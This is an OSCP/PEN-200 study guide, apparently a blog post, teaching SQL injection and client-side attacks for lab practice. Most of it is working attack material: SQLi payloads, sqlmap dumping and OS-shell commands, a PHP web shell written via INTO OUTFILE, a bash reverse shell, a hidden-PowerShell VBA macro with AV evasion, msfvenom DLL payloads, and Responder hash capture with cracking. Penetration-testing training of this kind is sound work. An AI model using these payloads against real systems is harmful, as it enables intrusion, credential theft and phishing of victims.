Post

SQL Injection & Client-Side Attacks

WEEK -3 SQL Injection & Client-Side Attacks

SQL Injection & Client-Side Attacks

Week 3: SQL Injection & Client-Side Attacks

OSCP / PEN-200 Study Plan β€” Complete Detail Guide


Overview

Week 3 dives deep into SQL Injection β€” one of the most impactful and frequently tested vulnerability classes in OSCP β€” and pivots into client-side attacks, which focus on gaining initial access through user interaction rather than direct server exploitation. The live demo this week targets practical web exploitation to achieve a web shell.

πŸ’‘ Core Shift This Week: Moving from server-side scanning to data extraction, authentication bypass, and social engineering via malicious documents.


Learning Objectives

By the end of Week 3, you should be able to:

  • Understand the different types of SQL Injection and their impact on CIA triad
  • Perform manual SQLi β€” identify vulnerable parameters, craft payloads from scratch
  • Use sqlmap to automate SQL Injection extraction efficiently
  • Identify and exploit client-side vulnerabilities using malicious Office documents
  • Abuse Windows Library files (.dll) for code execution
  • Achieve a web shell through chained web exploitation techniques

πŸ“š Key Topics & Tools


Part 1: SQL Injection (SQLi)

SQL Injection occurs when user-supplied input is inserted into SQL queries without proper sanitization, allowing attackers to manipulate database logic.


Types of SQL Injection

TypeHow it WorksDetection Signal
Error-basedForces the DB to return errors containing dataVisible DB error messages in response
Union-basedAppends a UNION SELECT to retrieve data from other tablesResponse contains injected column data
Boolean-based BlindAsks true/false questions; response changes based on answerPage behaves differently for 1=1 vs 1=2
Time-based BlindUses SLEEP() / WAITFOR DELAY to infer data via delayResponse time increases on injection
Out-of-BandExfiltrates data via DNS/HTTP to attacker’s serverRequires outbound access from DB server

Step 1: Identifying Vulnerable Parameters

Where to look:

  • URL query strings: ?id=1, ?category=shoes
  • Form inputs: login fields, search boxes, filters
  • HTTP headers: User-Agent, X-Forwarded-For, Cookie
  • JSON/XML body parameters in API requests

Basic Injection Tests:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-- Break the query with a single quote
'
-- Check for error or behavior change

-- Boolean tests
' OR '1'='1
' OR '1'='2

-- Comment out the rest of the query
' --
' #
' /*

-- Numeric context (no quotes needed)
1 OR 1=1
1 AND 1=2

Step 2: Union-Based SQLi (Manual)

Union-based SQLi appends an additional SELECT to retrieve data from other tables.

Phase 1 β€” Find the number of columns:

1
2
3
4
5
6
7
8
9
-- Increment ORDER BY until error
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   ← error here means 2 columns exist

-- OR use NULL method
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Phase 2 β€” Find which columns are displayed (string-compatible):

1
2
3
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Phase 3 β€” Extract data:

1
2
3
4
5
6
7
8
9
10
11
-- MySQL: Extract database name, user, version
' UNION SELECT database(),user(),version()--

-- Extract table names
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--

-- Extract column names
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

-- Extract credentials
' UNION SELECT username,password,NULL FROM users--

πŸ•ΆοΈ Step 3: Blind SQLi (Boolean-based)

No data is returned directly β€” you infer the answer from response differences.

1
2
3
4
5
6
7
8
9
10
-- Does the first character of the database name start with 'a'?
' AND SUBSTRING(database(),1,1)='a'--

-- Is the database name length greater than 5?
' AND LENGTH(database())>5--

-- Extract DB name character by character
' AND SUBSTRING(database(),1,1)='d'--   ← True (page loads normally)
' AND SUBSTRING(database(),2,1)='v'--   ← True
' AND SUBSTRING(database(),3,1)='w'--   ← False (page changes)

Step 4: Time-based Blind SQLi

Use database delay functions to infer truth without visible response changes.

1
2
3
4
5
6
7
8
9
10
11
-- MySQL
' AND SLEEP(5)--                             ← 5-second delay = vulnerable

-- MSSQL
'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT pg_sleep(5)--

-- Extract data via timing
' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)--

πŸ—ƒοΈ Database-Specific Cheatsheet

FeatureMySQLPostgreSQLMSSQL
Comment-- or #----
Version@@versionversion()@@version
Current DBdatabase()current_database()db_name()
Current Useruser()current_usersystem_user
String concatCONCAT(a,b)a \| ba + b
DelaySLEEP(5)pg_sleep(5)WAITFOR DELAY '0:0:5'
File ReadLOAD_FILE('/etc/passwd')pg_read_file(...)OPENROWSET(...)
Schemas tableinformation_schema.tablesinformation_schema.tablesinformation_schema.tables
Stack queriesSometimesYesYes
Stacked queriesRare; SELECT ...; SELECT ...

Authentication Bypass via SQLi

1
2
3
4
5
6
7
8
9
10
11
12
-- Classic login bypass
admin'--
' OR 1=1--
' OR '1'='1'--

-- Bypass with commented password check
username: admin'--
password: anything

-- Second-order SQLi (stored in DB, executed later)
-- Register with username: admin'--
-- Then login as admin without knowing password

Automated SQLi with sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Basic test on a URL parameter
sqlmap -u "http://target.com/page?id=1"

# POST request injection
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# With Burp Suite captured request (most reliable method)
sqlmap -r request.txt

# Specify DB type for faster testing
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Enumerate tables in a specific DB
sqlmap -u "http://target.com/page?id=1" -D target_db --tables

# Dump a specific table
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump

# Try to get OS shell (if DB user has FILE privilege)
sqlmap -u "http://target.com/page?id=1" --os-shell

# Attempt privilege escalation
sqlmap -u "http://target.com/page?id=1" --priv-esc

# Increase aggressiveness (level 1–5, risk 1–3)
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2

# Bypass WAF/filters
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase

Saving Burp Request for sqlmap:

1
2
3
1. Intercept request in Burp Suite
2. Right-click β†’ Save item β†’ save as request.txt
3. sqlmap -r request.txt --dbs

SQLi to Web Shell (MySQL + FILE privilege)

1
2
3
4
5
6
7
-- Write a PHP web shell to the web root (if DB user has FILE privilege)
' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL,NULL
  INTO OUTFILE '/var/www/html/shell.php'--

-- Then access it:
http://target.com/shell.php?cmd=id
http://target.com/shell.php?cmd=whoami

Part 2: Client-Side Attacks

Client-side attacks target the user’s machine rather than the server, typically used to gain initial access in engagements where direct server exploitation is not possible.


Information Gathering & Client Fingerprinting

Before crafting a payload, identify the target’s environment:

What to identify:

  • Browser type and version (via User-Agent analysis)
  • Operating system (Windows version, architecture)
  • Office suite version (Word, Excel β€” determines macro format)
  • Antivirus software in use
  • Email client being used

Techniques:

1
2
3
4
5
6
7
8
9
10
11
# Passive fingerprinting β€” analyze headers in web traffic
# Active fingerprinting β€” use JavaScript-based tools

# Canarytokens β€” embed tracking URLs in documents
# When the target opens the file, it calls back to your URL
# Use: canarytokens.org

# GoPhish or custom tracking links to capture:
# - IP address
# - Browser/OS info
# - Time of access

Malicious Microsoft Office Documents (Macros)

Microsoft Office macros (VBA) can execute arbitrary code when a document is opened and macros are enabled.

Attack Chain:

1
2
3
4
5
Attacker creates .docm/.xlsm with malicious macro
  β†’ Sends via email/share/USB
    β†’ Victim opens document
      β†’ Victim enables macros
        β†’ Macro executes β†’ Reverse shell / payload runs

Setting Up a Listener First:

1
2
3
4
5
6
7
8
9
# On your Kali machine
nc -lvnp 4444

# Or use Metasploit multi/handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4444
run

Basic VBA Macro (PowerShell reverse shell):

Sub AutoOpen()
    Dim cmd As String
    cmd = "powershell -nop -w hidden -e <BASE64_ENCODED_PAYLOAD>"
    Shell cmd, vbHide
End Sub

Sub Document_Open()
    AutoOpen
End Sub

Generate Base64 PowerShell payload:

1
2
3
4
5
# On Kali β€” generate a PowerShell reverse shell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f psh -o shell.ps1

# Base64 encode for macro embedding
cat shell.ps1 | iconv -t UTF-16LE | base64 -w 0

Embedding in Word Document:

1
2
3
4
5
1. Open Word β†’ Developer tab β†’ Visual Basic
2. Insert β†’ Module
3. Paste the VBA macro
4. Save as .docm (macro-enabled document)
5. Test by opening and enabling macros

Macro Obfuscation (basic AV evasion):

' Split strings to avoid static detection
Dim part1 As String
Dim part2 As String
part1 = "power"
part2 = "shell"
Shell part1 & part2 & " -nop -w hidden -c ..."

Windows Library Files (.dll Hijacking)

DLL hijacking exploits how Windows searches for DLL files when launching executables β€” if a malicious DLL is placed in a higher-priority search path, it gets loaded instead.

Windows DLL Search Order:

1
2
3
4
5
6
1. The directory of the application itself
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. Current working directory
6. Directories listed in PATH environment variable

Attack Approach:

1
2
3
4
5
6
7
8
9
10
11
1. Identify an application that loads a DLL that doesn't exist on the system
   β†’ Use Process Monitor (ProcMon) to find "NAME NOT FOUND" DLL entries

2. Create a malicious DLL with the same name
   β†’ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f dll -o missing.dll

3. Place the malicious DLL in a directory the app searches before System32
   β†’ Often the application directory or a world-writable path

4. Trigger the application to load the DLL
   β†’ Start/restart the service or re-launch the app

Crafting a Malicious DLL:

1
2
3
4
5
6
7
8
9
# Using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f dll -o hijack.dll

# For 32-bit targets
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f dll -o hijack.dll

Finding Hijackable DLLs with ProcMon:

1
2
3
4
Filter: Operation = CreateFile
Filter: Result = NAME NOT FOUND
Filter: Path ends with .dll
β†’ Sort by application β€” look for services or apps running as SYSTEM

Windows Library Files (.Library-ms) β€” Phishing Vector

.Library-ms files are Windows Library files that, when opened, connect to a network location. They can be weaponized to:

  • Trigger NTLM hash capture (via Responder)
  • Load a WebDAV share containing malicious shortcuts

Attack Chain:

1
2
3
4
5
6
Craft malicious .Library-ms file
  β†’ Points to attacker's WebDAV server
    β†’ Victim opens the file in Explorer
      β†’ Windows automatically connects to the WebDAV share
        β†’ NTLM hash captured by Responder
          β†’ Crack hash offline with hashcat/john

Setting up Responder:

1
2
3
4
5
6
# Capture NTLM hashes when victim opens the Library file
sudo responder -I eth0 -wv

# The .Library-ms file points to:
# \\<attacker_ip>\share\
# Windows auto-authenticates, leaking NTLMv2 hash

Cracking Captured Hashes:

1
2
3
4
5
# Hashcat (NTLMv2)
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt captured_hash.txt

Live Demo: Web Exploitation β†’ Web Shell

This week’s live demo targets a chained web exploitation path to achieve a web shell.

Scenario: SQLi β†’ File Write β†’ Web Shell

1
2
3
4
5
6
Step 1: Identify SQLi in login or search parameter
Step 2: Confirm DB user has FILE privilege (via @@global.secure_file_priv)
Step 3: Write PHP web shell using INTO OUTFILE
Step 4: Locate web shell in web root
Step 5: Execute commands via GET parameter
Step 6: Upgrade to reverse shell

Full Demo Commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1: Discover SQLi
sqlmap -r login_request.txt --dbs

# Step 2: Verify FILE privilege
sqlmap -r login_request.txt --privileges

# Step 3 (Manual): Write web shell via SQLi
# In Burp Repeater or curl:
id=1 UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/html/cmd.php'--

# Step 4: Test web shell
curl "http://target.com/cmd.php?cmd=id"

# Step 5: Upgrade to reverse shell
curl "http://target.com/cmd.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<your_ip>/4444+0>%261'"

# Step 6: Catch shell
nc -lvnp 4444

Practice Resources

OffSec PEN-200 Labs (Required)

ModuleFocus Area
SQL Injection β€” Error-basedCrafting error-based payloads
SQL Injection β€” Union-basedColumn enumeration, data extraction
SQL Injection β€” BlindBoolean and time-based techniques
SQL Injection β€” sqlmapAutomated exploitation workflow
Client-Side Attacks β€” Microsoft OfficeVBA macro creation and delivery
Client-Side Attacks β€” Windows Library Files.Library-ms phishing + Responder

Proving Ground Practice Labs

MachineDifficultyPrimary Attack Vector
butchEasySQL Injection β†’ credential extraction
HepetEasySQLi + web application enumeration
hawatMediumSQLi + privilege escalation
pebblesMediumSQLi β†’ file write β†’ web shell
megavoltMediumChained web vulnerabilities

Approach: For each box β€” enumerate the web app first, identify all input fields, test for SQLi manually before using sqlmap, and document your payload chain.


🌐 Hack The Box Machines

MachineFocusNotes
HealSQLi + web exploitationPractice manual enumeration before sqlmap
MailClient-side attacksFocus on email delivery and macro execution

Additional Resources

ResourcePurpose
PortSwigger SQL Injection LabsBest structured SQLi practice (free)
PayloadsAllTheThings β€” SQLiComprehensive payload reference
HackTricks β€” SQL InjectionDB-specific attack techniques
Hashcat WikiHash mode reference for cracking
GTFOBinsPost-exploitation after getting shell
CyberChefEncode/decode payloads quickly

Suggested Daily Schedule (7-Day Breakdown)

DayFocusHours
Day 1SQLi types + manual error-based and union-based payloads4–5 hrs
Day 2Blind SQLi (boolean + time-based) + PortSwigger SQLi labs4–5 hrs
Day 3sqlmap β€” full workflow, tamper scripts, OS shell attempts3–4 hrs
Day 4Client-side attacks β€” Office macros + payload generation4–5 hrs
Day 5Windows Library files + Responder + hash cracking3–4 hrs
Day 6Proving Ground labs: butch, Hepet, pebbles5–6 hrs
Day 7Live demo β€” SQLi β†’ web shell + HTB Heal or Mail4–5 hrs

Week 3 Checklist

SQL Injection

  • Identified SQLi in a GET parameter manually
  • Identified SQLi in a POST form manually
  • Performed Union-based SQLi β€” extracted usernames and passwords
  • Performed Boolean-based blind SQLi
  • Performed Time-based blind SQLi (SLEEP/WAITFOR)
  • Used sqlmap to enumerate databases, tables, and dump credentials
  • Attempted SQLi authentication bypass on a login form
  • Written a web shell via SQLi INTO OUTFILE (MySQL lab)

Client-Side Attacks

  • Created a malicious Word macro document (.docm)
  • Generated a reverse shell payload with msfvenom
  • Successfully caught a reverse shell from macro execution
  • Set up Responder and captured an NTLMv2 hash
  • Crafted a malicious .Library-ms file
  • Cracked a captured hash with hashcat or john

Practice Labs

  • Completed butch (Proving Ground)
  • Completed Hepet (Proving Ground)
  • Completed pebbles (Proving Ground)
  • Attempted at least one HTB machine (Heal or Mail)

Key Takeaways

  1. Always start manual β€” understanding WHY a payload works makes you far better than blindly running sqlmap.
  2. Union-based SQLi requires column count matching β€” get this wrong and nothing works.
  3. Blind SQLi is slow but powerful β€” automate with sqlmap after confirming manually.
  4. Client-side attacks depend on user interaction β€” social engineering context matters for delivery.
  5. VBA macros are still effective β€” especially when combined with convincing lures (invoice, HR document, etc.).
  6. Responder + Library files = quick wins β€” in AD environments, this often yields domain credentials.
  7. Document every payload β€” in the OSCP exam, you need to replicate steps under time pressure.

_Plan prepared for OSCP / PEN-200 Week 3SQL Injection β†’ Client-Side Attacks β†’ Web Shell_

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.